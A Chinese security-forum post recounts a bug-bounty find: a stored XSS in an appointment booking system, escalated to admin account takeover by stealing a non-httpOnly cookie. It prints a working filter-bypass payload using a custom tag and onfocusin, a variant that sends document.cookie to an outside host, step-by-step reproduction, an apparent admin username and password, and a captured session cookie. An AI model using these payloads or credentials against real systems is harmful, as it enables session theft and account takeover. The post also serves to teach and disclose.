安全矩阵

 找回密码
 立即注册
搜索
查看: 655|回复: 0

实战|记一次5657美金赏金的XSS漏洞挖掘经历

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2023-6-9 18:48:56 | 显示全部楼层 |阅读模式
我发现了一个存储的XSS漏洞,我可以通过窃取cookie升级为帐户接管。
我的payload目前需要最少的用户交互,只需单击即可。
如果我仍然找到一个更好的,一个没有用户交互的。
更新这是我的payload: "><xss/id="1"/tabindex="1"/style="font-size:%20100px"/autofocus/onfocusin="confirm%601%60">

与cookie一起消失的payload: "><xss/id="1"/tabindex="1"/style="font-size:%20100px"/autofocus/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">

漏洞复现
访问/book-appointment.html并填写所有必填字段,然后单击预订预约。

接下来,复制预约ID并访问/yourappointments.php。

粘贴之前复制的ID并检索预约。

之后,向下滚动并单击取消预约。确保您拦截了此请求。

使用以下有效载荷添加消息:
"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">

您通常会收到一个确认框,确认您的预约已取消,单击确定。接下来,访问/login.php并使用提供的凭据登录:drAdmin:s2Wpx5zfUvlSZhspJ。

导航到/drpanel/cancelled.php,然后单击上次取消的预约。

你会看到我们被重定向到https://example.com/?cookie=drps=e7340a3ab0c53934aa368ed55,我们的cookie在cookie参数中。即使管理员注销,此cookie也可以轻松重用。这是因为cookie不会过期。

影响我能够通过取消我们的预约并包含一条消息来接管一个管理员帐户。
背景我花了一些时间才找到这个payload,我首先尝试了一些基本的html标签,并迅速发布了大多数常见的标签被阻止。因为我们不允许使用任何自动化工具,我只是去尝试了自定义标签。
这起作用了:我以为<xss/contenteditable/autofocus/onfocus="">会起作用,但由于onfocus事件处理程序而没有。
这意味着我们必须找到一个具有用户交互的。
这就是我如何通过focusin,这个事件处理程序没有被删除,我再次离实现存储的XSS又近了一步:
在那之后,我很快得到了一个有效的payload。
因为cookie不是httpOnly,我选择了窃取cookie,因为这是实现帐户接管的最简单方法!
最后获得的漏洞赏金:
5,000美元+657美元(奖金)



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:40 , Processed in 0.012519 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表